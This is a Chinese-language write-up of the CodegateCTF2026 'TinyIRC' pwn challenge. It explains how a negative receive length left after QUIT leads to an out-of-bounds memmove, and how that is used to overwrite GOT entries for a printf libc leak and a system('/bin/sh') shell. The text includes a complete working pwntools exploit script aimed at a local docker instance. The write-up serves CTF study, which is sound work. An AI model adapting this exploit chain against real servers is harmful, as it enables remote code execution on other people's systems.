CodegateCTF2026 TinyIRC writeup
上周末打了codegateCTF，题目的质量和难度都比较高，这里结合一定的AI分析复现一下TinyIRC这道题目
题目根据描述实现了一个简单的类discord聊天系统
逆向部分
先逆向一下client的逻辑
首先使用socket连接上服务端
利用select同时监听标准输入和socket
linux的标准宏接口
// 标准接口版本
FD_ZERO(&readfds); // 清空集合
FD_SET(fd, &readfds); // 添加指定fd
FD_SET(0, &readfds); // 添加标准输入
select(fd + 1, &readfds, NULL, NULL, NULL);
socket 收到数据后保存到栈上，按 \n 切行、去掉 \r\n 后直接打印
stdin 读到 /nick、/user、/join、/part、/msg、/list、/raw、/quit就翻译成文本协议发出去。
看起来只是个收发器，重点还是看server的逻辑
server
它监听一个 TCP socket，accept 新连接后塞进最多 64 个槽位；每个轮次把监听 fd 和所有活跃 client fd 放进select()
可以发现一个结构体数组，维护了各个连接信息，用AI先把他逻辑逆出来
typedef struct {
int fd; // +0
uint8_t active; // +4
uint8_t has_nick; // +5
uint8_t has_user; // +6
char nick[32]; // +7
char user[32]; // +39
char channel[32]; // +71
char recv_buf[4097]; // +103
uint64_t recv_len; // +4200
} ClientSlot;
没有单独的 Channel 结构。所谓频道只是每个连接槽里一个 channel[32] 字符串；广播函数也是靠遍历 64 个槽位、比较 channel 字符串来找同频道用户。
LIST 方法会临时扫描所有在线槽位、按 channel 去重计数，因此这是一个明确的单频道模型。
协议语法可以概括成：
C -> S
NICK <nick>
USER <user>
JOIN <#channel>
PART [<channel>]
LIST
QUIT [<>]
多了个PING方法客户端调用不到
简单看了一下没有什么地方有明显问题，发现有两个地方写的很怪，利用add汇编加大了逆向的难度，一个是入口的处理函数，一个是quit时执行的quit函数
进去看是这样的
只要把add加上的改成offset表示即可
清楚多了
其实总的逻辑就是发个广播告诉所有同频道的人quit信息，然后把连接断掉，整个结构体清空
再来看看处理函数，同样的方法处理一下
可以发现一个问题，如果我们在for循环内部quit了，但是仍然会在最后执行这四行代码
此时recv_len为0，会导致v12为一个负数值，即一个很大的无符号整数，会导致memmove过大报错，然后该结构体会遗留一个负数在len上，重新把该结构体申请回来，该函数传递len的时候是用一个int64接收的，这会导致memcpy覆盖缓冲区之前的内存
交互
AI写交互很方便，通过题目给的dockerfile和docker compose起一个容器，让AI根据我之前写的docker交互的python脚本改改就行，只不过AI写的很臃肿就是了，不过写的比我好:(
可以直接跟server交互，没必要通过client，只需要把client的逻辑拿出来就行
利用
验证一下利用效果
直接创一个连接然后直接quit
可以发现确实写进去了
这道题got是可改的，考虑改一个函数泄露libc
可以把比较没用的strncpy改成 printf 完成格式化字符串泄露libc，然后改成system完成利用
由于没开pie，可以把strncpy的got表值改成printf的plt表位置，然后其他函数改成各自的plt表值，避免报错
这里会遇到一个问题：当memmove第三个参数为负数时，会出现奇怪的情况，如果直接尝试把第一个结构体的len改为负数，memmove会修改到不可写段
可能得考虑别的方法，考虑到bss段比较长，可以通过创多个结构体来修改上一个结构体的len来达到修改got表的规则，这样可以规避一下got表被破坏的问题
先创两个结构体尝试修改a的长度，发现可行，这样就可以通过a来修改got表
因为要过这个长度校验，需要输入数据再次到达recv_buf上
我们可以覆写整个got表到初始状态，然后伪造第一个结构体，就可以通过判定
payload3 = flat([0x401070 + 0x10 * i for i in range(25)])
payload3 = p64(0x401060 + 0x10 * 9) + payload3
payload3 = (payload3
+ b'\x00' * 0x38 # padding
+ p32(4) # fd
+ p8(1) # active
+ p8(0) * 2 # nameset
+ b'\x00' * 0x20 # nickname
+ b'%137$p.%138$p\n\x00'.ljust(0x40,b'\x00') #username + channel
+ b'USER 1234\n'
)
这时可以通过格式化字符串的方式泄露栈上地址
所以只要再构造一个同样的负数溢出写，就可以改strncpy为system
但是如果再次使用b，会报错，在quit的时候会受到strncpy的影响，如果把b的len提前定位到a的len位置，会因为最后的置零操作出现问题
于是想到可以通过在创建一个结构体完成两次len的覆盖，
在初始化的时候先把b和c的大小都改到上一个结构体的len位置，先使用b改a，然后第二次使用c改b改a
至于为什么不能通过c直接去改a。。。其实这边试了很多种方法，但是总是会出现神秘报错，猜测时memmove第三个参数为负数的时候会出现谜之错误，根据复数的大小会出现不同的情况，在负数比较靠近0的时候会稳定一点
exp
#!/usr/bin/env python3
import atexit
import os
import re
import subprocess
import time
from pathlib import Path
from pwn import *
ROOT = Path(__file__).resolve().parent
HOST = "127.0.0.1"
PORT = 20998
SERVICE_NAME = "tinyirc"
GDB_HOST = "127.0.0.1"
GDB_PORT = 12345
SERVER_BINARY = "./deploy/irc_server"
context(arch="amd64", log_level="debug", os="linux")
context.terminal = ["tmux", "neww"]
def arg_value(name: str, default):
value = getattr(args, name, None)
return value if value else default
def decode_bytes(data: bytes) -> str:
return data.decode("latin1", "replace")
def read_until_quiet(tube, quiet_time=0.2, total_timeout=2.0):
data = bytearray()
deadline = time.time() + total_timeout
while time.time() < deadline:
try:
chunk = tube.recv(timeout=quiet_time)
except EOFError:
break
if chunk:
data.extend(chunk)
continue
if data:
break
return bytes(data)
def tmux_new_window(name: str, command: str):
try:
if os.environ.get("TMUX"):
subprocess.Popen(["tmux", "new-window", "-n", name, command], cwd=ROOT)
else:
subprocess.Popen(["tmux", "new-session", "-d", "-s", name, command], cwd=ROOT)
return True
except Exception as exc:
log.warning("failed to launch tmux window: %s", exc)
return False
class DockerHarness:
def __init__(self):
self.started = False
self.gdbserver_started = False
def compose(self, *compose_args, capture_output=False, check=True):
kwargs = {
"cwd": ROOT,
"check": check,
"text": True,
}
if capture_output:
kwargs["stdout"] = subprocess.PIPE
kwargs["stderr"] = subprocess.PIPE
return subprocess.run(["docker", "compose", *compose_args], **kwargs)
def cleanup(self):
if not self.started:
return
try:
self.compose("down", check=False, capture_output=True)
except Exception:
pass
self.started = False
self.gdbserver_started = False
def start(self):
log.info("starting docker compose service")
self.compose("up", "-d", "--build")
self.started = True
atexit.register(self.cleanup)
time.sleep(1.0)
def container_id(self):
result = self.compose("ps", "-q", SERVICE_NAME, capture_output=True)
cid = result.stdout.strip()
if not cid:
raise RuntimeError(f"failed to resolve container id for service {SERVICE_NAME}")
return cid
def exec_in_container(self, *cmd, capture_output=False, check=True):
cid = self.container_id()
kwargs = {
"check": check,
"text": True,
}
if capture_output:
kwargs["stdout"] = subprocess.PIPE
kwargs["stderr"] = subprocess.PIPE
return subprocess.run(["docker", "exec", cid, *cmd], **kwargs)
def spawn_server(self, host: str, timeout=5.0):
deadline = time.time() + timeout
last_line = b""
while time.time() < deadline:
try:
trigger = remote(host, PORT)
except Exception:
time.sleep(0.2)
continue
line = trigger.recvline(timeout=2.0) or b""
# trigger.close()
last_line = line.strip()
match = re.search(rb"port\s+(\d+)", line)
if match:
port = int(match.group(1))
log.success("spawned tinyIRC server on port %d", port)
return trigger,port
time.sleep(0.2)
raise RuntimeError(f"failed to parse server port from trigger output: {last_line!r}")
def find_server_pid(self, timeout=5.0):
deadline = time.time() + timeout
last_error = None
while time.time() < deadline:
try:
result = self.exec_in_container("pgrep", "-n", "irc_server", capture_output=True)
pid = result.stdout.strip()
if pid:
return int(pid)
except Exception as exc:
last_error = exc
time.sleep(0.2)
raise RuntimeError(f"failed to locate irc_server pid: {last_error}")
def start_gdbserver(self, gdb_port=GDB_PORT):
pid = self.find_server_pid()
log.info("starting gdbserver on port %d for irc_server pid %d", gdb_port, pid)
self.exec_in_container(
"sh",
"-lc",
f"gdbserver 0.0.0.0:{gdb_port} --attach {pid} >/tmp/gdbserver.log 2>&1 &",
)
self.gdbserver_started = True
return pid
def open_gdb_tmux(self, gdb_port=GDB_PORT, binary=SERVER_BINARY):
gdb_cmd = (
f"gdb -q {binary} "
f"-ex 'set pagination off' "
f"-ex 'target remote {GDB_HOST}:{gdb_port}' "
)
if tmux_new_window("tinyirc-gdb", gdb_cmd):
log.success("opened tmux gdb window for %s:%d", GDB_HOST, gdb_port)
else:
log.info("run this manually: %s", gdb_cmd)
class TinyIRCClient:
def __init__(self, tube, label: str):
self.tube = tube
self.label = label
def _prefix(self):
return f"[{self.label}]"
def drain(self, quiet_time=0.2, total_timeout=1.0, log_output=True):
data = read_until_quiet(self.tube, quiet_time=quiet_time, total_timeout=total_timeout)
if data and log_output:
log.info("%s recv:\n%s", self._prefix(), decode_bytes(data))
return data
def recvuntil(self, delim, drop=False, timeout=2.0):
data = self.tube.recvuntil(delim, drop=drop, timeout=timeout)
log.info("%s recvuntil %r:\n%s", self._prefix(), delim, decode_bytes(data))
return data
def recvline(self, keepends=True, timeout=2.0):
data = self.tube.recvline(keepends=keepends, timeout=timeout)
log.info("%s recvline:\n%s", self._prefix(), decode_bytes(data))
return data
def send(self, data):
if isinstance(data, str):
data = data.encode()
log.info("%s send raw: %r", self._prefix(), data)
self.tube.send(data)
def sendline(self, data):
if isinstance(data, str):
data = data.encode()
log.info("%s sendline: %r", self._prefix(), data)
self.tube.sendline(data)
def cmd(self, line: str, drain=True, timeout=0.6):
self.sendline(line)
if drain:
return self.drain(total_timeout=timeout)
return b""
def interactive(self):
self.tube.interactive()
def close(self):
try:
self.tube.close()
except Exception:
pass
class TinyIRCHarness:
def __init__(self, host: str, use_docker: bool, port: int = 0):
self.host = host
self.use_docker = use_docker
self.port = port
self.docker = DockerHarness() if use_docker else None
self.clients = []
self.client_index = 0
self.trigger = 0
def start(self):
if self.use_docker:
self.docker.start()
self.trigger,self.port = self.docker.spawn_server(self.host)
if args.GDB:
self.docker.start_gdbserver()
self.docker.open_gdb_tmux()
elif not self.port:
raise RuntimeError("set PORT=<server_port> or use DOCKER")
log.success("tinyIRC target is %s:%d", self.host, self.port)
return self
def new_client(self, label: str | None = None):
if label is None:
self.client_index += 1
label = f"cli{self.client_index}"
log.info("opening remote %s:%d as %s", self.host, self.port, label)
tube = remote(self.host, self.port)
client = TinyIRCClient(tube, label)
self.clients.append(client)
client.drain(total_timeout=1.0)
return client
def close(self):
for client in self.clients:
client.close()
self.clients.clear()
if self.docker is not None:
self.docker.cleanup()
def run_script(client: TinyIRCClient, script: str):
commands = [item.strip() for item in script.split(";") if item.strip()]
for command in commands:
client.cmd(command)
def start():
port = int(arg_value("PORT", "0"))
harness = TinyIRCHarness(
host=HOST,
use_docker=bool(args.DOCKER),
port=port,
)
harness.start()
return harness
def main():
harness = start()
atexit.register(harness.close)
# Your exploit logic here.
a= harness.new_client("a")
b= harness.new_client("b")
c= harness.new_client("c")
#b 改 a
payload = b'QUIT :'.ljust(8 + 0x66,b'x')
b.cmd(payload)
pause()
b = harness.new_client("b")
payload2 =(flat([-367])
+ p32(5) #fd
+ p8(1) # active
+ p8(0) * 2 #nameset
+ b'\x00' * 0x20 #nickname
+ b'%137$p.%138$p\n\x00'.ljust(0x3f,b'\x00') #username + channel
)
b.cmd(payload2)
pause()
#预制c
payload = b'QUIT :'.ljust(8 + 0x66,b'x')
c.cmd(payload)
sleep(1)
c = harness.new_client("c")
# payload2 = flat([-111]).ljust(8 + 0x66,b'x')
# c.cmd(payload2)
pause()
payload3 = flat([0x401070 + 0x10 * i for i in range(25)])
payload3 = p64(0x401060 + 0x10 * 9) + payload3
payload3 = (payload3
+ b'\x00' * 0x38 #padding
+ p32(4) #fd
+ p8(1) # active`2`
+ p8(0) * 2 #nameset
+ b'\x00' * 0x20 #nickname
+ b'%137$p.%138$p\n\x00'.ljust(0x40,b'\x00') #username + channel
+ b'USER 1234\n'
)
#0x7a9a7060b000 0x7a9a70829988
a.cmd(payload3)
sleep(1)
print(harness.trigger.recvline())
print(harness.trigger.recvline())
print(harness.trigger.recvline())
print(harness.trigger.recvline())
print(harness.trigger.recvline())
print(harness.trigger.recvline())
print(harness.trigger.recvline())
libc_address = int(harness.trigger.recv(14),16) - (0x7a9a70829988 - 0x7a9a7060b000)
print(hex(libc_address))
system = libc_address - 0x61000 + 0xb9740
sleep(1)
pause()
#b 改 a
# payload = b'QUIT :'.ljust(8 + 0x66,b'x')
# b.cmd(payload)
# pause()
# b = harness.new_client("b")
#c 改 b
payload2 =(flat([-111])
+ p32(6) #fd
+ p8(1) # active
+ p8(0) * 2 #nameset
+ b'\x00' * 0x20 #nickname
+ b'123\n\x00'.ljust(0x3f,b'\x00') #username + channel
)
c.cmd(payload2)
pause()
payload2 =(flat([-367])
+ p32(5) #fd
+ p8(1) # active
+ p8(0) * 2 #nameset
+ b'\x00' * 0x20 #nickname
+ b'123\n\x00'.ljust(0x3f,b'\x00') #username + channel
)
b.cmd(payload2)
pause()
payload3 = flat([0x401070 + 0x10 * i for i in range(25)])
payload3 = p64(system) + payload3
payload3 = (payload3
+ b'\x00' * 0x38 #padding
+ p32(4) #fd
+ p8(1) # active`2`
+ p8(0) * 2 #nameset
+ b'\x00' * 0x20 #nickname
+ b'/bin/sh\x00'.ljust(0x40,b'\x00') #username + channel
+ b'USER 1234\n'
)
a.cmd(payload3)
harness.trigger.interactive()
if __name__ == "__main__":
main()